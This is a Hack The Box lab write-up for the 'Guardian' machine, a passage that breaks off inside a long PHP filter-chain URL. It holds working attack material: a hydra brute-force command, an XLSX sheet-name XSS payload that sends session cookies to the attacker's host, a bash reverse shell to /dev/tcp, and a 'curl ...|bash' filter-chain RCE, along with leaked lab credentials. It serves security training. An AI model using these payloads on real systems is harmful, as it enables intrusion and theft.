Hack The Box / LINUX / 2026-02-28
Hack The Box — Guardian (Linux)
IDOR in student chats reveals Gitea credentials, XLSX sheet-name XSS steals a lecturer session, notice-link admin browsing enables PHP filter-chain RCE, then hash cracking and sudo abuse lead to root.
Target
Target IP: 10.10.11.84
Port scan
sudo nmap -sC -sV 10.10.11.84 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add guardian.htb to /etc/hosts.
Go to http://guardian.htb/.
There is a students portal button that leads to http://portal.guardian.htb/.
Add portal.guardian.htb to /etc/hosts.
Go to http://portal.guardian.htb/.
We are redirected to http://portal.guardian.htb/login.php, so this is a PHP site.
There is also a banner with a PDF link:
http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
The PDF states the default password is GU1234.
Student portal access
The login form asks for username and password.
The username format is GUXXXXXXX, where X are digits.
On http://guardian.htb, some students are listed:
GU0142023GU6262023GU0702025
Put them into a file userlist.txt.
hydra -I -L userlist.txt -p GU1234 portal.guardian.htb http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid" -t 50
We get:
[80][http-post-form] host: portal.guardian.htb login: GU0142023 password: GU1234
Log in to the student portal with those credentials.
IDOR in chat
We can view chats.
There is a chat with marielle.feek.
Open it.
We arrive at:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
We can also create new chats.
We can choose a user from a list.
For example, choose admin and click new chat.
We arrive at:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=1
So admin has user ID 1.
Try viewing admin chats.
For example, go to:
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2
We can see the chat.
We see the recipient is jamil.enockson.
In an admin message it says:
Here is your password for gitea: DHsNnk3V503
So there is likely a Gitea instance.
Subdomain brute force and Gitea access
Brute-force subdomains with ffuf.
Wordlist used: https://github.com/n0kovo/n0kovo_subdomains
ffuf -u 'http://guardian.htb/' -H 'Host: FUZZ.guardian.htb' -w /home/kali/wordlists/n0kovo_subdomains_huge.txt -t 50 -fw 20
We notice:
portal [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 14ms]
gitea [Status: 200, Size: 13498, Words: 1049, Lines: 245, Duration: 42ms]
Add gitea.guardian.htb to /etc/hosts.
Go to http://gitea.guardian.htb/.
Log in with email jamil.enockson@guardian.htb and password DHsNnk3V503.
There are two repositories: guardian.htb and portal.guardian.htb (site source code).
Clone portal.guardian.htb.
In config.php there are credentials:
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
Lecturer cookie theft via XLSX XSS
From source code, there are users with role lecturer who view assignments uploaded by students.
As a student, we can upload assignment files (docx or xlsx) when assignment is active.
Lecturers will view those files.
The site uses phpoffice/phpspreadsheet to render XLSX.
From composer.json, version is 3.7.0.
There is a vulnerability (CVE-2025-22131) with exploit details:
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
So we can perform an XSS attack to steal lecturer cookies.
Create an XLSX file with LibreOffice Calc or Excel. Add a sheet. Rename it with a payload similar to the exploit advisory. Use this JavaScript:
fetch("http://10.10.14.144:5555/?c="+document.cookie)
This sends cookies to us.
Problem: LibreOffice and Excel do not allow some special characters (: and /) in sheet name.
Workaround: base64-encode payload and use eval(atob()):
eval(atob(`ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC4xNDQ6NTU1NS8/Yz0iK2RvY3VtZW50LmNvb2tpZSk=`))
Final sheet name:
"> <img src=x onerror=eval(atob(`ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC4xNDQ6NTU1NS8/Yz0iK2RvY3VtZW50LmNvb2tpZSk=`)) >
I observed during testing: - In LibreOffice GUI, you can rename with payload, but when saving, sheet name gets truncated. - In MS Excel GUI, payload also gets truncated.
To solve this, edit sheet name manually inside XLSX archive. Example:
Create XLSX with LibreOffice Calc.
Add a sheet and rename it to prova.
Save as test.xlsx.
XLSX is a ZIP archive:
mkdir tmp
unzip test.xlsx -d tmp
cd tmp
vim xl/workbook.xml
We see:
<sheet name="prova" sheetId="2" [...]
Now modify the name manually. For special chars, use HTML entities:
<sheet name=""> <img src=x onerror=eval(atob(`ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC4xNDQ6NTU1NS8/Yz0iK2RvY3VtZW50LmNvb2tpZSk=`)) > " sheetId="2"
Save file. Rebuild XLSX:
zip -r ../exp.xlsx *
Start listener server:
python3 -m http.server 5555
Upload exp.xlsx as assignment.
Wait.
In Python server terminal, for example we get:
10.10.11.84 - - [08/Sep/2025 17:08:00] "GET /?c=PHPSESSID=todqfkm2uosmang57ei7rrtfsj HTTP/1.1" 200 -
We now have a lecturer cookie.
Set it in browser and go to http://portal.guardian.htb/.
We arrive at http://portal.guardian.htb/lecturer/index.php.
In profile we see we are sammy.treat with role lecturer.
Admin-triggered request and PHP filter chain RCE
As lecturer we can create notices. Go to notice board → create notice. We can set title, content, and reference link. It says the reference link is visited by admin.
Set reference link to http://10.10.14.144:5555/test.html.
Create notice and wait.
In Python server terminal we get:
10.10.11.84 - - [08/Sep/2025 17:13:49] code 404, message File not found
10.10.11.84 - - [08/Sep/2025 17:13:49] "GET /test.html HTTP/1.1" 404 -
10.10.11.84 - - [08/Sep/2025 17:13:49] code 404, message File not found
10.10.11.84 - - [08/Sep/2025 17:13:49] "GET /favicon.ico HTTP/1.1" 404 -
So admin visits the link using a browser.
From source code, admin portal page reports.php contains:
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
[...]
include($report);
So we can send admin to reports.php and control the report query parameter (include), with checks.
The idea is to use a PHP filter chain for RCE.
Create file rev with content:
bash -i >& /dev/tcp/10.10.14.144/4444 0>&1
Start listeners:
nc -vlnp 4444
python3 -m http.server 5555
Clone this repo:
- https://github.com/synacktiv/php_filter_chain_generator
Generate the filter chain:
python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system("curl http://10.10.14.144:5555/rev|bash") ?> '
Then URL-encode it and build the final URL, keeping the checks in mind. In my case, the final URL is:
http://portal.guardian.htb/admin/reports.php?report=php%3A%2F%2Ffilter%2Fconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E8859%5F3%2EUTF16%7Cconvert%2Eiconv%2E863%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL5%2EUTF%2D32%7Cconvert%2Eiconv%2EISO88594%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16%7Cconvert%2Eiconv%2EWINDOWS%2D1258%2EUTF32LE%7Cconvert%2Eiconv%2EISIRI3342%2EISO%2DIR%2D157%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL6%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EIBM932%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL5%2EUTF%2D32%7Cconvert%2Eiconv%2EISO88594%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EIBM891%2ECSUNICODE%7Cconvert%2Eiconv%2EISO8859%2D14%2EISO6937%7Cconvert%2Eiconv%2EBIG%2DFIVE%2EUCS%2D4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL5%2EUTF%2D32%7Cconvert%2Eiconv%2EISO88594%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP1046%2EUTF32%7Cconvert%2Eiconv%2EL6%2EUCS%2D2%7Cconvert%2Eiconv%2EUTF%2D16LE%2ET%2E61%2D8BIT%7Cconvert%2Eiconv%2E865%2EUCS%2D4LE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E865%2EUTF16%7Cconvert%2Eiconv%2ECP901%2EISO6937%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL5%2EUTF%2D32%7Cconvert%2Eiconv%2EISO88594%2EGB13000%7Cconvert%2Eiconv%2ECP950%2ESHIFT%5FJISX0213%7Cconvert%2Eiconv%2EUHC%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ESE2%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM921%2ENAPLPS%7Cconvert%2Eiconv%2ECP1163%2ECSA%5FT500%7Cconvert%2Eiconv%2EUCS%2D2%2EMSCP949%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP367%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM901%2ESHIFT%5FJISX0213%7Cconvert%2Eiconv%2EUHC%2ECP1361%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL6%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ESE2%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM1161%2EIBM%2D932%7Cconvert%2Eiconv%2EBIG5HKSCS%2EUTF16%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EPT%2EUTF32%7Cconvert%2Eiconv%2EKOI8%2DU%2EIBM%2D932%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ESE2%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM1161%2EIBM%2D932%7Cconvert%2Eiconv%2EBIG5HKSCS%2EUTF16%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E851%2EUTF%2D16%7Cconvert%2Eiconv%2EL1%2ET%2E618BIT%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECSIBM1161%2EUNICODE%7Cconvert%2Eiconv%2EISO%2DIR%2D156%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EGBK%2ESJIS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EISO88597%2EUTF16%7Cconvert%2Eiconv%2ERK1048%2EUCS%2D4LE%7Cconvert%2Eiconv%2EUTF32%2ECP1167%7Cconvert%2Eiconv%2ECP9066%2ECSUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL6%2EUNICODE%7Cconvert%2Eiconv%2ECP1282%2EISO%2DIR%2D90%7Cconvert%2Eiconv%2ECSA%5FT500%2EL4%7Cconvert%2Eiconv%2EISO%5F8859%2D2%2EISO%2DIR%2D103%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2ECSIBM943%2EUCS4%7Cconvert%2Eiconv%2EIBM866%2EUCS%2D2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL6%2EUNICODE%7Cconvert%2Eiconv%2ECP1282%2EISO%2DIR%2D90%7Cconvert%2Eiconv%2ECSA%5FT500%2D1983%2EUCS%2D2BE%7Cconvert%2Eiconv%2EMIK%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EIBM932%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP%2DAR%2EUTF16%7Cconvert%2Eiconv%2E8859%5F4%2EBIG5HKSCS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP866%2ECSUNICODE%7Cconvert%2Eiconv%2ECSISOLATIN5%2EISO%5F6937%2D2%7Cconvert%2Eiconv%2ECP950%2EUTF%2D16BE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP%2DAR%2EUTF16%7Cconvert%2Eiconv%2E8859%5F4%2EBIG5HKSCS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP866%2ECSUNICODE%7Cconvert%2Eiconv%2ECSISOLATIN5%2EISO%5F6937%2D2%7Cconvert%2Eiconv%2ECP950%2EUTF%2D16BE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Eiconv%2EUTF16BE%2E866%7Cconvert%2Eiconv%2EMACUKRAINIAN%2EWCHAR%5FT%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP%2DAR%2EUTF16%7Cconvert%2Eiconv%2E8859%5F4%2EBIG5HKSCS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP866%2ECSUNICODE%7Cconvert%2Eiconv%2ECSISOLATIN5%2EISO%5F6937%2D2%7Cconvert%2Eiconv%2ECP950%2EUTF%2D16BE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP869%2EUTF%2D32%7Cconvert%2Eiconv%2EMACUK%2EUCS4%7Cconvert%2Eiconv%2EUTF16BE%2E866%7Cconvert%2Eiconv%2EMACUKRAINIAN%2EWCHAR%5FT%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP%2DAR%2EUTF16%7Cconvert%2Eiconv%2E8859%5F4%2EBIG5HKSCS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL6%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E851%2EUTF%2D16%7Cconvert%2Eiconv%2EL1%2ET%2E618BIT%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EIBM869%2EUTF16%7Cconvert%2Eiconv%2EL3%2ECSISO90%7Cconvert%2Eiconv%2ER9%2EISO6937%7Cconvert%2Eiconv%2EOSF00010100%2EUHC%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2ECSIBM943%2EUCS4%7Cconvert%2Eiconv%2EIBM866%2EUCS%2D2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E8859%5F3%2EUTF16%7Cconvert%2Eiconv%2E863%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP1046%2EUTF16%7Cconvert%2Eiconv%2EISO6937%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EGBK%2EBIG5%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2E8859%5F3%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECSGB2312%2EUTF%2D32%7Cconvert%2Eiconv%2EIBM%2D1161%2EIBM932%7Cconvert%2Eiconv%2EGB13000%2EUTF16BE%7Cconvert%2Eiconv%2E864%2EUTF%2D32LE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL6%2EUNICODE%7Cconvert%2Eiconv%2ECP1282%2EISO%2DIR%2D90%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL5%2EUTF%2D32%7Cconvert%2Eiconv%2EISO88594%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EIBM869%2EUTF16%7Cconvert%2Eiconv%2EL3%2ECSISO90%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E863%2EUNICODE%7Cconvert%2Eiconv%2EISIRI3342%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EPT%2EUTF32%7Cconvert%2Eiconv%2EKOI8%2DU%2EIBM%2D932%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EGBK%2EBIG5%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP861%2EUTF%2D16%7Cconvert%2Eiconv%2EL4%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2EJOHAB%7Cconvert%2Eiconv%2ECP950%2EUTF16%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E863%2EUNICODE%7Cconvert%2Eiconv%2EISIRI3342%2EUCS4%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E863%2EUTF%2D16%7Cconvert%2Eiconv%2EISO6937%2EUTF16LE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E864%2EUTF32%7Cconvert%2Eiconv%2EIBM912%2ENAPLPS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP861%2EUTF%2D16%7Cconvert%2Eiconv%2EL4%2EGB13000%7Cconvert%2Eiconv%2EBIG5%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL6%2EUNICODE%7Cconvert%2Eiconv%2ECP1282%2EISO%2DIR%2D90%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EGBK%2EBIG5%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E865%2EUTF16%7Cconvert%2Eiconv%2ECP901%2EISO6937%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP%2DAR%2EUTF16%7Cconvert%2Eiconv%2E8859%5F4%2EBIG5HKSCS%7Cconvert%2Eiconv%2EMSCP1361%2EUTF%2D32LE%7Cconvert%2Eiconv%2EIBM932%2EUCS%2D2BE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL6%2EUNICODE%7Cconvert%2Eiconv%2ECP1282%2EISO%2DIR%2D90%7Cconvert%2Eiconv%2EISO6937%2E8859%5F4%7Cconvert%2Eiconv%2EIBM868%2EUTF%2D16LE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EL4%2EUTF32%7Cconvert%2Eiconv%2ECP1250%2EUCS%2D2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ESE2%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM921%2ENAPLPS%7Cconvert%2Eiconv%2E855%2ECP936%7Cconvert%2Eiconv%2EIBM%2D932%2EUTF%2D8%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2E8859%5F3%2EUTF16%7Cconvert%2Eiconv%2E863%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP1046%2EUTF16%7Cconvert%2Eiconv%2EISO6937%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECP1046%2EUTF32%7Cconvert%2Eiconv%2EL6%2EUCS%2D2%7Cconvert%2Eiconv%2EUTF%2D16LE%2ET%2E61%2D8BIT%7Cconvert%2Eiconv%2E865%2EUCS%2D4LE%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EMAC%2EUTF16%7Cconvert%2Eiconv%2EL8%2EUTF16BE%7Cconvert%2Ebase64%2Ddeco